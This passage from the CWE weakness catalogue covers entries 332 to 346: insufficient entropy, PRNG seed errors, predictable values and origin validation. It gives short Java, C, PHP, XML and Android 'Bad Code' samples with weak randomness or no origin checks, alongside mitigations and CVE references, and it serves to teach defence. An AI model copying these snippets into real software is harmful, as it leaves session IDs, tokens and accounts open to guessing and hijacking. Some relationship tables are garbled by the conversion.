This example also exhibits a Small Seed Space (CWE-339).

#### Example 2:

The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

### Java Example:

Bad Code

```
String GenerateReceiptURL(String baseUrl) {
    Random ranGen = new Random();
    ranGen.setSeed((new Date()).getTime());
    return(baseUrl + ranGen.nextInt(400000000) + ".html");
}
```

This code uses the `Random.nextInt()` function to generate "unique" identifiers for the receipt pages it generates. Because `Random.nextInt()` is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

### Observed Examples

Reference	Description
CVE-2001-0950	Insufficiently random data used to generate session tokens using C <code>rand()</code> . Also, for certificate/key generation, uses a source that does not block when entropy is low.

### Potential Mitigations

#### Implementation

Determine the necessary entropy to adequately provide for randomness and predictability. This can be achieved by increasing the number of bits of objects such as keys and seeds.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		330	Use of Insufficiently Random Values	699 1000	581
ChildOf		905	SFP Primary Cluster: Predictability	888	1329
ParentOf		332	<i>Insufficient Entropy in PRNG</i>	699 1000	587
ParentOf		333	<i>Improper Handling of Insufficient Entropy in TRNG</i>	699 1000	588
MemberOf		884	<i>CWE Cross-section</i>	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Insufficient Entropy
WASC	11	Brute Force

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
59	Session Credential Falsification through Prediction	

### References

[REF-9] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. Addison-Wesley. 2002.

## CWE-332: Insufficient Entropy in PRNG

Weakness ID: 332 (*Weakness Variant*) Status: Draft

### Description

#### Summary

The lack of entropy available for, or used by, a Pseudo-Random Number Generator (PRNG) can be a stability and security threat.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

#### Languages

- All

#### Common Consequences

**Availability****DoS: crash / exit / restart**

If a pseudo-random number generator is using a limited entropy source which runs out (if the generator fails closed), the program may pause or crash.

**Access Control****Other****Bypass protection mechanism****Other**

If a PRNG is using a limited entropy source which runs out, and the generator fails open, the generator could produce predictable random numbers. Potentially a weak source of random numbers could weaken the encryption method used for authentication of users.

**Likelihood of Exploit**

Medium

**Potential Mitigations****Architecture and Design****Requirements****Libraries or Frameworks**

Use products or modules that conform to FIPS 140-2 [R.332.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

**Implementation**

Consider a PRNG that re-seeds itself as needed from high-quality pseudo-random output, such as hardware devices.

**Architecture and Design**

When deciding which PRNG to use, look at its sources of entropy. Depending on what your security needs are, you may need to use a random number generator that always uses strong random data -- i.e., a random number generator that attempts to be strong but will fail in a weak way or will always provide some middle ground of protection through techniques like re-seeding. Generally, something that always provides a predictable amount of strength is preferable.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		331	Insufficient Entropy	<b>699</b> <b>1000</b>	586
ChildOf		861	CERT Java Secure Coding Section 49 - Miscellaneous (MSC)	<b>844</b>	1298
ChildOf		905	SFP Primary Cluster: Predictability	<b>888</b>	1329

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Insufficient entropy in PRNG
CERT Java Secure Coding	MSC02-J	Generate strong random numbers

**References**

[REF-1] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

## CWE-333: Improper Handling of Insufficient Entropy in TRNG

Weakness ID: 333 (Weakness Variant)

Status: Draft

**Description****Summary**

True random number generators (TRNG) generally have a limited source of entropy and therefore can fail or block.

**Extended Description**

The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Availability

##### DoS: crash / exit / restart

A program may crash or block if it runs out of random numbers.

#### Likelihood of Exploit

Low to Medium

#### Demonstrative Examples

This code uses a TRNG to generate a unique session id for new connections to a server:

##### C Example:

*Bad Code*

```
while (1){
  if (haveNewConnection()){
    if (hwRandom()){
      int sessionID = hwRandom();
      createNewConnection(sessionID);
    }}
}
```

This code does not attempt to limit the number of new connections or make sure the TRNG can successfully generate a new random number. An attacker may be able to create many new connections and exhaust the entropy of the TRNG. The TRNG may then block and cause the program to crash or hang.

#### Potential Mitigations

##### Implementation

Rather than failing on a lack of random numbers, it is often preferable to wait for more numbers to be created.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		331	Insufficient Entropy	<b>699</b>	586
ChildOf		703	Improper Check or Handling of Exceptional Conditions	1000	1102
ChildOf		861	CERT Java Secure Coding Section 49 - Miscellaneous (MSC)	<b>844</b>	1298
ChildOf		905	SFP Primary Cluster: Predictability	<b>888</b>	1329

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Failure of TRNG
CERT Java Secure Coding	MSC02-J	Generate strong random numbers

## CWE-334: Small Space of Random Values

Weakness ID: 334 (*Weakness Base*)

Status: Draft

#### Description

##### Summary

The number of possible random values is smaller than needed by the product, making it more susceptible to brute force attacks.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

**Languages**

- All

**Common Consequences**

**Access Control**

**Other**

**Bypass protection mechanism**

**Other**

An attacker could easily guess the values used. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.

**Demonstrative Examples**

The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

**XML Example:**

*Bad Code*

```
<sun-web-app>
...
<session-config>
<session-properties>
  <property name="idLengthBytes" value="8">
    <description>The number of bytes in this web module's session ID.</description>
  </property>
</session-properties>
</session-config>
...
</sun-web-app>
```

This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session. Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

**Observed Examples**

Reference	Description
CVE-2002-0583	Product uses 5 alphanumeric characters for filenames of expense claim reports, stored under web root.
CVE-2002-0903	Product uses small number of random numbers for a code to approve an action, and also uses predictable new user IDs, allowing attackers to hijack new accounts.
CVE-2003-1230	SYN cookies implementation only uses 32-bit keys, making it easier to brute force ISN.
CVE-2004-0230	Complex predictability / randomness (reduced space).

**Potential Mitigations**





**Architecture and Design**

**Requirements**

**Libraries or Frameworks**

Use products or modules that conform to FIPS 140-2 [R.334.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		330	Use of Insufficiently Random Values	699 1000	581
ChildOf		905	SFP Primary Cluster: Predictability	888	1329
ParentOf		6	J2EE Misconfiguration: Insufficient Session-ID Length	1000	3
MemberOf		884	CWE Cross-section	884	1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Small Space of Random Values

### References

- [REF-1] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.
- [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.

## CWE-335: PRNG Seed Error

Weakness ID: 335 (Weakness Class) Status: Draft

### Description

#### Summary

A Pseudo-Random Number Generator (PRNG) uses seeds incorrectly.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Access Control

##### Other

##### Bypass protection mechanism

##### Other

if a PRNG is used incorrectly, such as using the same seed for each initialization or using a predictable seed, then an attacker may be able to easily guess the seed and thus the random numbers. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		330	Use of Insufficiently Random Values	<b>699</b> <b>1000</b>	581
ChildOf		905	SFP Primary Cluster: Predictability	<b>888</b>	1329
ParentOf		336	Same Seed in PRNG	<b>699</b> <b>1000</b>	591
ParentOf		337	Predictable Seed in PRNG	<b>699</b> <b>1000</b>	592
ParentOf		339	Small Seed Space in PRNG	<b>699</b> <b>1000</b>	595
MemberOf		884	CWE Cross-section	<b>884</b>	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	PRNG Seed Error

### References

- [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.

## CWE-336: Same Seed in PRNG

Weakness ID: 336 (Weakness Base) Status: Draft

### Description

#### Summary



A PRNG uses the same seed each time the product is initialized. If an attacker can guess (or knows) the seed, then he/she may be able to determine the "random" number produced from the PRNG.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Other

##### Access Control

##### Other

##### Bypass protection mechanism

#### Demonstrative Examples

The following code uses a statistical PRNG to generate account IDs.

##### Java Example:

*Bad Code*

```
private static final long SEED = 1234567890;
public int generateAccountID() {
    Random random = new Random(SEED);
    return random.nextInt();
}
```

Because the program uses the same seed value for every invocation of the PRNG, its values are predictable, making the system vulnerable to attack.

#### Potential Mitigations

##### Architecture and Design

Do not reuse PRNG seeds. Consider a PRNG that periodically re-seeds itself as needed from a high quality pseudo-random output, such as hardware devices.

##### Architecture and Design

##### Requirements

##### Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [R.336.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

#### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		335	PRNG Seed Error	<b>699</b> <b>1000</b>	591
ChildOf		861	CERT Java Secure Coding Section 49 - Miscellaneous (MSC)	<b>844</b>	1298
ChildOf		905	SFP Primary Cluster: Predictability	<b>888</b>	1329

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Same Seed in PRNG
CERT Java Secure Coding	MSC02-J	Generate strong random numbers

#### References

[REF-1] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

## CWE-337: Predictable Seed in PRNG

Weakness ID: 337 (Weakness Base)

Status: Draft

#### Description

##### Summary

A PRNG is initialized from a predictable seed, e.g. using process ID or system time.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Other

Varies by context

### Demonstrative Examples

Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:

#### Java Example:

*Bad Code*

```
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
```

#### C/C++ Example:

*Bad Code*

```
srand(time());
int randNum = rand();
```

An attacker can easily predict the seed used by these PRNGs, and so also predict the stream of random numbers generated. Note these examples also exhibit CWE-338 (Use of Cryptographically Weak PRNG).

### Potential Mitigations

Use non-predictable inputs for seed generation.

#### Architecture and Design

##### Requirements




##### Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [R.337.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

##### Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		335	PRNG Seed Error	<b>699</b>	591
ChildOf		861	CERT Java Secure Coding Section 49 - Miscellaneous (MSC)	<b>1000</b>	<b>844</b>
ChildOf		905	SFP Primary Cluster: Predictability	<b>888</b>	1298

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Predictable Seed in PRNG
CERT Java Secure Coding	MSC02-J	Generate strong random numbers

### References

[REF-1] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.

## CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)

Weakness ID: 338 (Weakness Base)

Status: Draft

**Description****Summary**

The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG is not cryptographically strong.

**Extended Description**

When a non-cryptographic PRNG is used in a cryptographic context, it can expose the cryptography to certain types of attacks.

Often a pseudo-random number generator (PRNG) is not designed for cryptography. Sometimes a mediocre source of randomness is sufficient or preferable for algorithms which use random numbers. Weak generators generally take less processing power and/or do not use the precious, finite, entropy sources on a system. While such PRNGs might have very useful features, these same features could be used to break the cryptography.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- Language-independent

**Common Consequences****Access Control****Bypass protection mechanism**

If a PRNG is used for authentication and authorization, such as a session ID or a seed for generating a cryptographic key, then an attacker may be able to easily guess the ID or cryptographic key and gain access to restricted functionality.

**Likelihood of Exploit**

Medium

**Demonstrative Examples**

Both of these examples use a statistical PRNG to generate a random number:

**Java Example:***Bad Code*

```
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
```

**C/C++ Example:***Bad Code*

```
srand(time());
int randNum = rand();
```

The random number functions used in these examples, `rand()` and `Random.nextInt()`, are not considered cryptographically strong. An attacker may be able to predict the random numbers generated by these functions. Note that these example also exhibit CWE-337 (Predictable Seed in PRNG).

**Observed Examples**

Reference	Description
CVE-2008-0166	SSL library uses a weak random number generator that only generates 65,536 unique keys.
CVE-2009-2367	Web application generates predictable session IDs, allowing session hijacking.
CVE-2009-3238	Random number generator can repeatedly generate the same value.
CVE-2009-3278	Crypto product uses <code>rand()</code> library function to generate a recovery key, making it easier to conduct brute force attacks.

**Potential Mitigations****Implementation**

Use functions or hardware which use a hardware-based random number generation for all crypto. This is the recommended solution. Use `CryptGenRandom` on Windows, or `hw_rand()` on Linux.

**Relationships**

Nature	Type	ID	Name	ⓧ	Page
ChildOf		330	Use of Insufficiently Random Values	699 1000	581
ChildOf		905	SFP Primary Cluster: Predictability	888	1329
MemberOf		884	CWE Cross-section	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Non-cryptographic PRNG

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.

## CWE-339: Small Seed Space in PRNG

Weakness ID: 339 (Weakness Base)

Status: Draft

### Description

#### Summary

A PRNG uses a relatively small space of seeds.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Other

##### Varies by context

#### Potential Mitigations

##### Architecture and Design

Use well vetted pseudo-random number generating algorithms with adequate length seeds. Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

##### Architecture and Design

##### Requirements

##### Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [R.339.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

### Relationships

Nature	Type	ID	Name	ⓧ	Page
ChildOf		335	PRNG Seed Error	699 1000	591
PeerOf		341	Predictable from Observable State	1000	596
ChildOf		905	SFP Primary Cluster: Predictability	888	1329

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Small Seed Space in PRNG

### References

[REF-1] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

### Maintenance Notes

This entry overlaps predictable from observable state (CWE-341).

## CWE-340: Predictability Problems

Weakness ID: 340 (Weakness Class) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to schemes that generate numbers or identifiers that are more predictable than required by the application.

#### Time of Introduction




- Architecture and Design
- Implementation

#### Common Consequences

##### Other

##### Varies by context

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		330	Use of Insufficiently Random Values	<b>699</b>	581
ChildOf		905	SFP Primary Cluster: Predictability	<b>888</b>	1329
RequiredBy		61	UNIX Symbolic Link (Symlink) Following	1000	95

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Predictability problems
WASC	11	Brute Force

#### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.

## CWE-341: Predictable from Observable State

Weakness ID: 341 (Weakness Base) Status: Draft

### Description

#### Summary

A number or object is predictable based on observations that the attacker can make about the state of the system or network, such as time, process ID, etc.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Other

##### Varies by context

This weakness could be exploited by an attacker in a number ways depending on the context. If a predictable number is used to generate IDs or keys that are used within protection mechanisms, then an attacker could gain unauthorized access to the system. If predictable filenames are used for storing sensitive information, then an attacker might gain access to the system and may be able to gain access to the information in the file.

#### Demonstrative Examples

This code generates a unique random identifier for a user's session.

##### PHP Example:

*Bad Code*

```
function generateSessionID($userID){  
    srand($userID);  
    return rand();  
}
```

}

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session. This example also exhibits a Small Seed Space (CWE-339).

### Observed Examples

Reference	Description
CVE-2000-0335	DNS resolver library uses predictable IDs, which allows a local attacker to spoof DNS query results.
CVE-2001-1141	PRNG allows attackers to use the output of small PRNG requests to determine the internal state information, which could be used by attackers to predict future pseudo-random numbers.
CVE-2002-0389	Mail server stores private mail messages with predictable filenames in a world-executable directory, which allows local users to read private mailing list archives.
CVE-2005-1636	MFV. predictable filename and insecure permissions allows file modification to execute SQL queries.

### Potential Mitigations

#### Implementation

Increase the entropy used to seed a PRNG.

#### Architecture and Design

#### Requirements

#### Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [R.341.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

#### Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		330	Use of Insufficiently Random Values	699	581
ChildOf		905	SFP Primary Cluster: Predictability	1000	888
PeerOf		339	Small Seed Space in PRNG	1000	595
MemberOf		884	CWE Cross-section	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Predictable from Observable State

### References

[REF-1] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.

## CWE-342: Predictable Exact Value from Previous Values

Weakness ID: 342 (Weakness Base)

Status: Draft

### Description

#### Summary

An exact value or random number can be precisely predicted by observing previous values.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

**Languages**

- All

**Common Consequences****Other****Varies by context****Observed Examples**

Reference	Description
CVE-1999-0074	Listening TCP ports are sequentially allocated, allowing spoofing attacks.
CVE-1999-0077	Predictable TCP sequence numbers allow spoofing.
CVE-2000-0335	DNS resolver uses predictable IDs, allowing a local user to spoof DNS query results.
CVE-2002-1463	Firewall generates easily predictable initial sequence numbers (ISN), which allows remote attackers to spoof connections.

**Potential Mitigations**

Increase the entropy used to seed a PRNG.



**Architecture and Design****Requirements****Libraries or Frameworks**

Use products or modules that conform to FIPS 140-2 [R.342.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

**Implementation**

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		330	Use of Insufficiently Random Values	<b>699</b>	581
ChildOf		905	SFP Primary Cluster: Predictability	<b>888</b>	1329

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Predictable Exact Value from Previous Values

**References**

[REF-1] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.

**CWE-343: Predictable Value Range from Previous Values**

Weakness ID: 343 (Weakness Base)

Status: Draft

**Description****Summary**

The software's random number generator produces a series of values which, when observed, can be used to infer a relatively small range of possibilities for the next value that could be generated.

**Extended Description**

The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.

**Time of Introduction**



- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Other

Varies by context

### Potential Mitigations

Increase the entropy used to seed a PRNG.

#### Architecture and Design

##### Requirements



##### Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [R.343.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

##### Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		330	Use of Insufficiently Random Values	<input checked="" type="checkbox"/>	699 581 1000
ChildOf		905	SFP Primary Cluster: Predictability		888 1329

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Predictable Value Range from Previous Values

### References

[REF-1] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

Michal Zalewski. "Strange Attractors and TCP/IP Sequence Number Analysis". 2001. < <http://www.bindview.com/Services/Razor/Papers/2001/tcpseq.cfm> >.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.

## CWE-344: Use of Invariant Value in Dynamically Changing Context

Weakness ID: 344 (Weakness Base) Status: Draft

### Description

#### Summary

The product uses a constant value, name, or reference, but this value can (or should) vary across different environments.

#### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Other

Varies by context

**Observed Examples**






Reference	Description
CVE-2002-0980	Component for web browser writes an error message to a known location, which can then be referenced by attackers to process HTML/script in a less restrictive context

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		330	Use of Insufficiently Random Values	<b>699</b>	581
ChildOf		905	SFP Primary Cluster: Predictability	<b>888</b>	1329
ParentOf		323	Reusing a Nonce, Key Pair in Encryption	<b>1000</b>	568
ParentOf		587	Assignment of a Fixed Address to a Pointer	<b>1000</b>	927
ParentOf		798	Use of Hard-coded Credentials	<b>1000</b>	1219

**Relationship Notes**

overlaps default configuration.

**Relevant Properties**

- Mutability
- Uniqueness

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Static Value in Unpredictable Context

**References**

[REF-1] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

## CWE-345: Insufficient Verification of Data Authenticity

Weakness ID: 345 (Weakness Class)

Status: Draft

**Description****Summary**

The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.





**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Other****Varies by context****Unexpected state****Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		254	Security Features	<b>699</b>	452
ChildOf		693	Protection Mechanism Failure	<b>1000</b>	1074
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	<b>711</b>	1117
ChildOf		949	SFP Secondary Cluster: Faulty Endpoint Authentication	<b>888</b>	1372

Nature	Type	ID	Name	V	Page
CanAlsoBe	B	283	Unverified Ownership	1000	498
ParentOf	B	346	Origin Validation Error	699 1000	602
ParentOf	B	347	Improper Verification of Cryptographic Signature	699 1000	604
ParentOf	B	348	Use of Less Trusted Source	699 1000	605
ParentOf	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	699 1000	607
ParentOf	B	351	Insufficient Type Distinction	699 1000	610
ParentOf	⚙	352	Cross-Site Request Forgery (CSRF)	699 1000	611
ParentOf	B	353	Missing Support for Integrity Check	699 1000	616
ParentOf	B	354	Improper Validation of Integrity Check Value	699 1000	618
CanAlsoBe	B	358	Improperly Implemented Security Check for Standard	1000	621
ParentOf	B	360	Trust of System Event Data	699 1000	625
ParentOf	V	616	Incomplete Identification of Uploaded File Variables (PHP)	1000	963
ParentOf	V	646	Reliance on File Name or Extension of Externally-Supplied File	699 1000	1002
ParentOf	B	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking	699 1000	1006
CanAlsoBe	B	708	Incorrect Ownership Assignment	1000	1108
ParentOf	G	924	Improper Enforcement of Message Integrity During Transmission in a Communication Channel	699 1000	1350

### Relationship Notes

"origin validation" could fall under this.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient Verification of Data
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
WASC	12		Content Spoofing

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
4	Using Alternative IP Address Encodings	
111	JSON Hijacking (aka JavaScript Hijacking)	
141	Cache Poisoning	
142	DNS Cache Poisoning	
209	Cross-Site Scripting Using MIME Type Mismatch	
218	Spoofing of UDDI/ebXML Messages	
384	Application API Message Manipulation via Man-in-the-Middle	
385	Transaction or Event Tampering via Application API Manipulation	
386	Application API Navigation Remapping	
387	Navigation Remapping To Propagate Malicious Content	
388	Application API Button Hijacking	
389	Content Spoofing Via Application API Manipulation	

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 15: Not Updating Easily." Page 231. McGraw-Hill. 2010.

### Maintenance Notes

The specific ways in which the origin is not properly identified should be laid out as separate weaknesses. In some sense, this is more like a category.

## CWE-346: Origin Validation Error

Weakness ID: 346 (Weakness Base)

Status: Draft

### Description

#### Summary

The software does not properly verify that the source of data or communication is valid.

#### Terminology Notes

The "Origin Validation Error" term was used by Taimur Aslam in his August 1995 thesis. Although not formally defined, an issue is considered to be an origin validation error if either (1) "an object [accepts] input from an unauthorized subject," or (2) "the system [fails] to properly or completely authenticate a subject." A later section says that an origin validation error can occur when the system (1) "does not properly authenticate a user or process" or (2) "does not properly authenticate the shared data or libraries." The only example provided in the thesis (covered by OSVDB:57615) involves a setuid program running command-line arguments without dropping privileges. So, this definition (and its examples in the thesis) effectively cover other weaknesses such as CWE-287 (Improper Authentication), CWE-285 (Improper Authorization), and CWE-250 (Execution with Unnecessary Privileges). There appears to be little usage of this term today, except in the SecurityFocus vulnerability database, where the term is used for a variety of issues, including web-browser problems that allow violation of the Same Origin Policy and improper validation of the source of an incoming message.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Access Control

##### Other

##### Gain privileges / assume identity

##### Varies by context

An attacker can access any functionality that is inadvertently accessible to the source.

#### Demonstrative Examples

##### Example 1:

This Android application will remove a user account when it receives an intent to do so:

##### Java Example:

*Bad Code*

```
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
public class DeleteReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        int userID = intent.getIntExtra("userID");
        destroyUserData(userID);
    }
}
```

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create a whitelist of trusted applications using the manifest.xml file.

##### Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

**Java Example:**

*Bad Code*

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

